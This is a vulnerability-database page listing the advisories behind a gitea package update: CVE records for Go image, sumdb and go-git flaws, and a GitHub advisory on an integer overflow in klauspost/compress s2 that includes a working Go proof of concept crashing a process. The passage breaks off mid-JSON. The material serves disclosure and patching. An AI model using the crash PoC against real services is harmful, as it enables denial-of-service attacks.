Action not permitted
Modal body text goes here.
Modal Title
Modal Body
(CVE-2026-46603)
Vulnerability from cleanstart – Published: 2026-09-01 11:17 – Updated: 2026-09-18 11:59 – Source website
Withdrawn 2026-09-18
VLAI
Summary
Security fixes in gitea 1.27.2-r1
Details
Package gitea version 1.27.2-r1 fixes 9 vulnerabilities: CVE-2026-46603, CVE-2026-56864, CVE-2026-56865, CVE-2026-71556, CVE-2026-71557...
References
| URL | Type | |
|---|---|---|
{
"affected": [
{
"package": {
"ecosystem": "CleanStart",
"name": "gitea"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.27.2-r1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"1.27.2-r1"
]
}
],
"credits": [],
"database_specific": {},
"details": "Package gitea version 1.27.2-r1 fixes 9 vulnerabilities: CVE-2026-46603, CVE-2026-56864, CVE-2026-56865, CVE-2026-71556, CVE-2026-71557...",
"id": "CLEANSTART-2026-SS10950",
"modified": "2026-09-18T11:59:01.768079Z",
"published": "2026-09-01T11:17:16Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea"
}
],
"related": [],
"schema_version": "1.7.3",
"summary": "Security fixes in gitea 1.27.2-r1",
"upstream": [
"CVE-2026-46603",
"CVE-2026-56864",
"CVE-2026-56865",
"CVE-2026-71556",
"CVE-2026-71557",
"ghsa-259r-337f-4rfw",
"ghsa-3fxj-6jh8-hvhx",
"ghsa-9g5q-2w5x-hmxf",
"ghsa-rjr7-jggh-pgcg"
],
"withdrawn": "2026-09-18T11:59:01.768079Z"
}
CVE-2026-46603 (GCVE-0-2026-46603)
Vulnerability from cvelistv5 – Published: 2026-08-14 16:38 – Updated: 2026-08-14 19:36
VLAI
EPSS
VEX
Title
Excessive memory allocation during VP8L decoding in golang.org/x/image
Summary
VP8L decoding in golang.org/x/image/vp8l can allocate an excessive amount of memory when processing a crafted VP8L image containing many unused Huffman tree groups. This allows a remote attacker to cause a denial of service via memory exhaustion.
Severity
7.5 (High)
SSVC
Exploitation: none
Automatable: yes
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-08-14 19:36 UTC
CWE
- CWE-789 - Memory Allocation with Excessive Size Value
Assigner
References
3 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| golang.org/x/image | golang.org/x/image/vp8l |
Affected:
0 , < 0.45.0
(semver)
|
Credits
{
"containers": {
"adp": [
{
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
}
},
{
"other": {
"content": {
"id": "CVE-2026-46603",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-08-14T19:36:26.966791Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-789",
"description": "CWE-789 Memory Allocation with Excessive Size Value",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-08-14T19:36:57.436Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"collectionURL": "https://pkg.go.dev",
"defaultStatus": "unaffected",
"packageName": "golang.org/x/image/vp8l",
"product": "golang.org/x/image/vp8l",
"programRoutines": [
{
"name": "decoder.decodeHuffmanGroups"
},
{
"name": "decoder.decodeHuffmanTree"
},
{
"name": "Decode"
}
],
"vendor": "golang.org/x/image",
"versions": [
{
"lessThan": "0.45.0",
"status": "affected",
"version": "0",
"versionType": "semver"
}
]
}
],
"credits": [
{
"lang": "en",
"value": "Daniele Ballarini"
}
],
"descriptions": [
{
"lang": "en",
"value": "VP8L decoding in golang.org/x/image/vp8l can allocate an excessive amount of memory when processing a crafted VP8L image containing many unused Huffman tree groups. This allows a remote attacker to cause a denial of service via memory exhaustion."
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "CWE-789: Memory Allocation with Excessive Size Value",
"lang": "en"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-08-14T16:38:16.879Z",
"orgId": "1bb62c36-49e3-4200-9d77-64a1400537cc",
"shortName": "Go"
},
"references": [
{
"url": "https://go.dev/issue/80069"
},
{
"url": "https://go.dev/cl/793460"
},
{
"url": "https://pkg.go.dev/vuln/GO-2026-6222"
}
],
"title": "Excessive memory allocation during VP8L decoding in golang.org/x/image"
}
},
"cveMetadata": {
"assignerOrgId": "1bb62c36-49e3-4200-9d77-64a1400537cc",
"assignerShortName": "Go",
"cveId": "CVE-2026-46603",
"datePublished": "2026-08-14T16:38:16.879Z",
"dateReserved": "2026-05-15T17:35:00.814Z",
"dateUpdated": "2026-08-14T19:36:57.436Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-56864 (GCVE-0-2026-56864)
Vulnerability from cvelistv5 – Published: 2026-08-13 21:58 – Updated: 2026-08-14 16:16
VLAI
EPSS
VEX
Title
Ignore unrelated, unauthenticated hashes in Lookup in golang.org/x/mod/sumdb
Summary
A malicious GOSUMDB was capable of serving arbitrary module content not contained within the transparency log. This attack allows for a coordinating GOPROXY and GOSUMDB to serve a client malicious module content that cannot be detected by evaluating the transparency log. In order to determine if you have been affected: rm -r go.sum go.work.sum vendor/ && go mod tidy
Severity
7.5 (High)
SSVC
Exploitation: none
Automatable: yes
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-08-14 16:16 UTC
CWE
- CWE-347 - Improper Verification of Cryptographic Signature
Assigner
References
Impacted products
2 products
| Vendor | Product | Version | |
|---|---|---|---|
| Go toolchain | cmd/go |
Affected:
0 , < 1.25.13
(semver)
Affected: 1.26.0-0 , < 1.26.6 (semver) Affected: 1.27.0-0 , < 1.27.0-rc.3 (semver) |
|
| golang.org/x/mod | golang.org/x/mod/sumdb |
Affected:
0 , < 0.40.0
(semver)
|
Credits
{
"containers": {
"adp": [
{
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
}
},
{
"other": {
"content": {
"id": "CVE-2026-56864",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-08-14T16:16:37.911009Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-347",
"description": "CWE-347 Improper Verification of Cryptographic Signature",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-08-14T16:16:42.248Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"collectionURL": "https://pkg.go.dev",
"defaultStatus": "unaffected",
"packageName": "cmd/go",
"product": "cmd/go",
"vendor": "Go toolchain",
"versions": [
{
"lessThan": "1.25.13",
"status": "affected",
"version": "0",
"versionType": "semver"
},
{
"lessThan": "1.26.6",
"status": "affected",
"version": "1.26.0-0",
"versionType": "semver"
},
{
"lessThan": "1.27.0-rc.3",
"status": "affected",
"version": "1.27.0-0",
"versionType": "semver"
}
]
},
{
"collectionURL": "https://pkg.go.dev",
"defaultStatus": "unaffected",
"packageName": "golang.org/x/mod/sumdb",
"product": "golang.org/x/mod/sumdb",
"programRoutines": [
{
"name": "Client.Lookup"
}
],
"vendor": "golang.org/x/mod",
"versions": [
{
"lessThan": "0.40.0",
"status": "affected",
"version": "0",
"versionType": "semver"
}
]
}
],
"credits": [
{
"lang": "en",
"value": "mundur"
}
],
"descriptions": [
{
"lang": "en",
"value": "A malicious GOSUMDB was capable of serving arbitrary module content not contained within the transparency log. This attack allows for a coordinating GOPROXY and GOSUMDB to serve a client malicious module content that cannot be detected by evaluating the transparency log. In order to determine if you have been affected: rm -r go.sum go.work.sum vendor/ \u0026\u0026 go mod tidy"
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "CWE-347: Improper Verification of Cryptographic Signature",
"lang": "en"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-08-13T21:58:53.605Z",
"orgId": "1bb62c36-49e3-4200-9d77-64a1400537cc",
"shortName": "Go"
},
"references": [
{
"url": "https://go.dev/issue/80745"
},
{
"url": "https://groups.google.com/g/golang-announce/c/94pEornpRlI"
},
{
"url": "https://go.dev/cl/815000"
},
{
"url": "https://go.dev/cl/815020"
},
{
"url": "https://pkg.go.dev/vuln/GO-2026-6180"
}
],
"title": "Ignore unrelated, unauthenticated hashes in Lookup in golang.org/x/mod/sumdb"
}
},
"cveMetadata": {
"assignerOrgId": "1bb62c36-49e3-4200-9d77-64a1400537cc",
"assignerShortName": "Go",
"cveId": "CVE-2026-56864",
"datePublished": "2026-08-13T21:58:53.605Z",
"dateReserved": "2026-06-23T15:10:49.354Z",
"dateUpdated": "2026-08-14T16:16:42.248Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-56865 (GCVE-0-2026-56865)
Vulnerability from cvelistv5 – Published: 2026-08-13 21:58 – Updated: 2026-08-14 15:34
VLAI
EPSS
VEX
Title
Fix transparency log tile verification bypass in golang.org/x/mod/sumdb/tlog
Summary
A malicious GOPROXY was previously capable of forging up to two sumdb tiles that allow for a requested module to bypass the GOSUMDB check and persist attacker-controlled module content to a local Go module cache. This attack allows for a malicious GOPROXY to serve malicious module content that cannot be detected by evaluating the transparency log. All tiles are now correctly verified against their parents. In order to determine if you have been affected: rm -r go.sum go.work.sum vendor/ && go mod tidy
Severity
8.4 (High)
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-08-14 15:33 UTC
CWE
- CWE-347 - Improper Verification of Cryptographic Signature
Assigner
References
Impacted products
2 products
| Vendor | Product | Version | |
|---|---|---|---|
| Go toolchain | cmd/go |
Affected:
0 , < 1.25.13
(semver)
Affected: 1.26.0-0 , < 1.26.6 (semver) Affected: 1.27.0-0 , < 1.27.0-rc.3 (semver) |
|
| golang.org/x/mod | golang.org/x/mod/sumdb/tlog |
Affected:
0 , < 0.40.0
(semver)
|
Credits
{
"containers": {
"adp": [
{
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 8.4,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
}
},
{
"other": {
"content": {
"id": "CVE-2026-56865",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-08-14T15:33:28.143873Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-347",
"description": "CWE-347 Improper Verification of Cryptographic Signature",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-08-14T15:34:17.235Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"collectionURL": "https://pkg.go.dev",
"defaultStatus": "unaffected",
"packageName": "cmd/go",
"product": "cmd/go",
"vendor": "Go toolchain",
"versions": [
{
"lessThan": "1.25.13",
"status": "affected",
"version": "0",
"versionType": "semver"
},
{
"lessThan": "1.26.6",
"status": "affected",
"version": "1.26.0-0",
"versionType": "semver"
},
{
"lessThan": "1.27.0-rc.3",
"status": "affected",
"version": "1.27.0-0",
"versionType": "semver"
}
]
},
{
"collectionURL": "https://pkg.go.dev",
"defaultStatus": "unaffected",
"packageName": "golang.org/x/mod/sumdb/tlog",
"product": "golang.org/x/mod/sumdb/tlog",
"programRoutines": [
{
"name": "tileHashReader.ReadHashes"
}
],
"vendor": "golang.org/x/mod",
"versions": [
{
"lessThan": "0.40.0",
"status": "affected",
"version": "0",
"versionType": "semver"
}
]
}
],
"credits": [
{
"lang": "en",
"value": "Filippo Valsorda (Geomys)"
}
],
"descriptions": [
{
"lang": "en",
"value": "A malicious GOPROXY was previously capable of forging up to two sumdb tiles that allow for a requested module to bypass the GOSUMDB check and persist attacker-controlled module content to a local Go module cache. This attack allows for a malicious GOPROXY to serve malicious module content that cannot be detected by evaluating the transparency log. All tiles are now correctly verified against their parents. In order to determine if you have been affected: rm -r go.sum go.work.sum vendor/ \u0026\u0026 go mod tidy"
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "CWE-347: Improper Verification of Cryptographic Signature",
"lang": "en"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-08-13T21:58:53.475Z",
"orgId": "1bb62c36-49e3-4200-9d77-64a1400537cc",
"shortName": "Go"
},
"references": [
{
"url": "https://go.dev/issue/80744"
},
{
"url": "https://groups.google.com/g/golang-announce/c/94pEornpRlI"
},
{
"url": "https://go.dev/cl/814960"
},
{
"url": "https://go.dev/cl/815020"
},
{
"url": "https://pkg.go.dev/vuln/GO-2026-6179"
}
],
"title": "Fix transparency log tile verification bypass in golang.org/x/mod/sumdb/tlog"
}
},
"cveMetadata": {
"assignerOrgId": "1bb62c36-49e3-4200-9d77-64a1400537cc",
"assignerShortName": "Go",
"cveId": "CVE-2026-56865",
"datePublished": "2026-08-13T21:58:53.475Z",
"dateReserved": "2026-06-23T15:10:49.354Z",
"dateUpdated": "2026-08-14T15:34:17.235Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-71556 (GCVE-0-2026-71556)
Vulnerability from cvelistv5 – Published: 2026-08-07 16:37 – Updated: 2026-08-07 16:58
VLAI
EPSS
VEX
Title
go-git: Worktree operations may follow symlinks
Summary
go-git is an extensible git implementation library written in pure Go. Prior to 5.19.2 and 6.0.0-alpha.5, worktree operations (including checkout, status, and add) resolve symbolic links inside the working tree without confining resolution to the worktree boundary, so a maliciously crafted repository containing a symlink can cause go-git to read from or write to files outside the intended working directory when the repository is cloned and its worktree operations are used. Versions 5.19.2 and 6.0.0-alpha.5.
Severity
7.1 (High)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-08-07 16:58 UTC
CWE
- CWE-59 - Improper Link Resolution Before File Access ('Link Following')
Assigner
References
5 references
| URL | Tags |
|---|---|
| https://github.com/go-git/go-git/security/advisor… | x_refsource_CONFIRM |
| https://github.com/go-git/go-git/commit/008a78f2d… | x_refsource_MISC |
| https://github.com/go-git/go-git/commit/661d1c7f1… | x_refsource_MISC |
| https://github.com/go-git/go-git/releases/tag/v5.19.2 | x_refsource_MISC |
| https://github.com/go-git/go-git/releases/tag/v6.… | x_refsource_MISC |
Impacted products
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-71556",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-08-07T16:58:08.599214Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-08-07T16:58:19.113Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "go-git",
"vendor": "go-git",
"versions": [
{
"status": "affected",
"version": "\u003c 5.19.2"
},
{
"status": "affected",
"version": "\u003e= 6.0.0-alpha.1, \u003c 6.0.0-alpha.5"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "go-git is an extensible git implementation library written in pure Go. Prior to 5.19.2 and 6.0.0-alpha.5, worktree operations (including checkout, status, and add) resolve symbolic links inside the working tree without confining resolution to the worktree boundary, so a maliciously crafted repository containing a symlink can cause go-git to read from or write to files outside the intended working directory when the repository is cloned and its worktree operations are used. Versions 5.19.2 and 6.0.0-alpha.5."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 7.1,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-59",
"description": "CWE-59: Improper Link Resolution Before File Access (\u0027Link Following\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-08-07T16:37:40.058Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/go-git/go-git/security/advisories/GHSA-hc8v-wwc9-vgxm",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/go-git/go-git/security/advisories/GHSA-hc8v-wwc9-vgxm"
},
{
"name": "https://github.com/go-git/go-git/commit/008a78f2dd86f52544ddff8b8e8ddeecdf3f7aab",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/go-git/go-git/commit/008a78f2dd86f52544ddff8b8e8ddeecdf3f7aab"
},
{
"name": "https://github.com/go-git/go-git/commit/661d1c7f101d34e002a3cfcf8dbea5b7421d07ac",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/go-git/go-git/commit/661d1c7f101d34e002a3cfcf8dbea5b7421d07ac"
},
{
"name": "https://github.com/go-git/go-git/releases/tag/v5.19.2",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/go-git/go-git/releases/tag/v5.19.2"
},
{
"name": "https://github.com/go-git/go-git/releases/tag/v6.0.0-alpha.5",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/go-git/go-git/releases/tag/v6.0.0-alpha.5"
}
],
"source": {
"advisory": "GHSA-hc8v-wwc9-vgxm",
"discovery": "UNKNOWN"
},
"title": "go-git: Worktree operations may follow symlinks"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-71556",
"datePublished": "2026-08-07T16:37:40.058Z",
"dateReserved": "2026-08-06T21:24:15.376Z",
"dateUpdated": "2026-08-07T16:58:19.113Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-71557 (GCVE-0-2026-71557)
Vulnerability from cvelistv5 – Published: 2026-08-07 16:41 – Updated: 2026-08-07 17:55
VLAI
EPSS
VEX
Title
go-git: Malicious reference names may modify files outside the reference storage
Summary
go-git is an extensible git implementation library written in pure Go. Prior to 5.19.2 and 6.0.0-alpha.5, reference names are not sanitized before being used to construct on-disk paths under the reference storage directory, so a maliciously crafted reference name (for example containing directory-traversal sequences) can cause go-git to write files outside the intended reference storage directory. Versions 5.19.2 and 6.0.0-alpha.5 fix the issue.
Severity
6.3 (Medium)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-08-07 17:53 UTC
CWE
- CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Assigner
References
7 references
| URL | Tags |
|---|---|
| https://github.com/go-git/go-git/security/advisor… | x_refsource_CONFIRM |
| https://github.com/go-git/go-git/pull/2247 | x_refsource_MISC |
| https://github.com/go-git/go-git/pull/2254 | x_refsource_MISC |
| https://github.com/go-git/go-git/commit/4a0e66d55… | x_refsource_MISC |
| https://github.com/go-git/go-git/commit/da9f7d8a0… | x_refsource_MISC |
| https://github.com/go-git/go-git/releases/tag/v5.19.2 | x_refsource_MISC |
| https://github.com/go-git/go-git/releases/tag/v6.… | x_refsource_MISC |
Impacted products
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-71557",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-08-07T17:53:21.966734Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-08-07T17:55:10.638Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "go-git",
"vendor": "go-git",
"versions": [
{
"status": "affected",
"version": "\u003c 5.19.2"
},
{
"status": "affected",
"version": "\u003e= 6.0.0-alpha.1, \u003c 6.0.0-alpha.5"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "go-git is an extensible git implementation library written in pure Go. Prior to 5.19.2 and 6.0.0-alpha.5, reference names are not sanitized before being used to construct on-disk paths under the reference storage directory, so a maliciously crafted reference name (for example containing directory-traversal sequences) can cause go-git to write files outside the intended reference storage directory. Versions 5.19.2 and 6.0.0-alpha.5 fix the issue."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 6.3,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:L",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-22",
"description": "CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-08-07T16:41:31.070Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/go-git/go-git/security/advisories/GHSA-qgq7-7hm3-q39j",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/go-git/go-git/security/advisories/GHSA-qgq7-7hm3-q39j"
},
{
"name": "https://github.com/go-git/go-git/pull/2247",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/go-git/go-git/pull/2247"
},
{
"name": "https://github.com/go-git/go-git/pull/2254",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/go-git/go-git/pull/2254"
},
{
"name": "https://github.com/go-git/go-git/commit/4a0e66d555de5f9a30c31e2df64f445f42bd01e7",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/go-git/go-git/commit/4a0e66d555de5f9a30c31e2df64f445f42bd01e7"
},
{
"name": "https://github.com/go-git/go-git/commit/da9f7d8a0e98b475600177348d6ece384a370f36",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/go-git/go-git/commit/da9f7d8a0e98b475600177348d6ece384a370f36"
},
{
"name": "https://github.com/go-git/go-git/releases/tag/v5.19.2",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/go-git/go-git/releases/tag/v5.19.2"
},
{
"name": "https://github.com/go-git/go-git/releases/tag/v6.0.0-alpha.5",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/go-git/go-git/releases/tag/v6.0.0-alpha.5"
}
],
"source": {
"advisory": "GHSA-qgq7-7hm3-q39j",
"discovery": "UNKNOWN"
},
"title": "go-git: Malicious reference names may modify files outside the reference storage"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-71557",
"datePublished": "2026-08-07T16:41:31.070Z",
"dateReserved": "2026-08-06T21:24:15.376Z",
"dateUpdated": "2026-08-07T17:55:10.638Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GHSA-259R-337F-4RFW
Vulnerability from github – Published: 2026-10-20 14:33 – Updated: 2026-10-20 14:33
VLAI
Summary
Compress/s2: Integer Overflow or Wraparound and Out-of-bounds Write in compress
Details
Signed Integer Overflow in s2.NewDict
Summary
A signed integer overflow vulnerability in s2.NewDict() allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding MaxInt64. When Dict.Encode() is subsequently called, the overflowed negative repeat value causes an out-of-bounds memory access via unsafe.Pointer arithmetic, crashing the process with SIGSEGV.
Package
- Name:
github.com/klauspost/compress/s2 - Ecosystem: Go
- Affected versions: <= v1.18.6 (all versions with
NewDictfunction)
Severity
High (7.5) — CVSS v3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Vulnerability
Type
- CWE-190: Integer Overflow or Wraparound
- CWE-787: Out-of-bounds Write (via unsafe.Pointer)
Description
The NewDict() function reads a uvarint from dictionary data and converts it to int:
r, n := binary.Uvarint(dict)
// ...
d.repeat = int(r)
if d.repeat > len(dict) {
return nil
}
When r exceeds MaxInt64 (9223372036854775807), int(r) overflows to a negative value. Since a negative number is never greater than a positive length, the validation check is bypassed.
When Dict.Encode() is called, the negative repeat value causes an integer overflow in encodeBlockDictGo():
repeat := len(dict.dict) - dict.repeat // overflows: 62 - (-5758978476775341977) = huge positive
candidate := len(dict.dict) - repeat + s // underflows to negative
load32(dict.dict, candidate) // OOB via unsafe.Pointer
load32 calls le.Load32 which uses unsafe.Pointer arithmetic without bounds checking:
func Load32[I Indexer](b []byte, i I) uint32 {
return *(*uint32)(unsafe.Add(unsafe.Pointer(unsafe.SliceData(b)), i))
}
This causes a segmentation fault (SIGSEGV) when the negative index is dereferenced.
PoC
package main
import (
"encoding/binary"
"fmt"
"github.com/klauspost/compress/s2"
)
func main() {
var dictData []byte
buf := make([]byte, binary.MaxVarintLen64)
n := binary.PutUvarint(buf, 12687765596934209639) // > MaxInt64
dictData = append(dictData, buf[:n]...)
dictData = append(dictData, make([]byte, 16)...) // minimum dict size
dict := s2.NewDict(dictData)
// dict is non-nil despite invalid repeat value (overflow bypassed validation)
src := make([]byte, 64)
for i := range src { src[i] = byte(i) }
dict.Encode(nil, src) // SIGSEGV: OOB access via unsafe.Pointer
}
Impact
- Denial of Service: The process crashes immediately with SIGSEGV
Attack Vector
Any application that:
1. Accepts user-supplied S2 dictionary data via s2.NewDict()
2. Calls Dict.Encode() on any data ≥32 bytes
Suggested Fix
Validate the uvarint value before converting to int:
if r > math.MaxInt64 {
return nil
}
d.repeat = int(r)
Or use uint for the repeat field and validate against uint(len(dict)).
References
- Source:
s2/dict.golines 59-61 (vulnerability),s2/encode_all.goline 947 (crash site) - Commit: 539243b (v1.18.6 + 4 commits)
Credits
Christopher Linke / https://github.com/celinke97/
Severity
7.5 (High)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.18.6"
},
"package": {
"ecosystem": "Go",
"name": "github.com/klauspost/compress"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.18.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-63209"
],
"database_specific": {
"cwe_ids": [
"CWE-190",
"CWE-787"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-20T14:33:33Z",
"nvd_published_at": "2026-09-29T15:17:27Z",
"severity": "HIGH"
},
"details": "# Signed Integer Overflow in s2.NewDict\n\n## Summary\n\nA signed integer overflow vulnerability in `s2.NewDict()` allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding `MaxInt64`. When `Dict.Encode()` is subsequently called, the overflowed negative repeat value causes an out-of-bounds memory access via `unsafe.Pointer` arithmetic, crashing the process with SIGSEGV.\n\n## Package\n\n- **Name:** `github.com/klauspost/compress/s2`\n- **Ecosystem:** Go\n- **Affected versions:** \u003c= v1.18.6 (all versions with `NewDict` function)\n\n## Severity\n\n**High (7.5)** \u2014 CVSS v3.1: `AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`\n\n## Vulnerability\n\n### Type\n- CWE-190: Integer Overflow or Wraparound\n- CWE-787: Out-of-bounds Write (via unsafe.Pointer)\n\n### Description\n\nThe `NewDict()` function reads a uvarint from dictionary data and converts it to `int`:\n\n```go\nr, n := binary.Uvarint(dict)\n// ...\nd.repeat = int(r)\nif d.repeat \u003e len(dict) {\n return nil\n}\n```\n\nWhen `r` exceeds `MaxInt64` (9223372036854775807), `int(r)` overflows to a negative value. Since a negative number is never greater than a positive length, the validation check is bypassed.\n\nWhen `Dict.Encode()` is called, the negative `repeat` value causes an integer overflow in `encodeBlockDictGo()`:\n\n```go\nrepeat := len(dict.dict) - dict.repeat // overflows: 62 - (-5758978476775341977) = 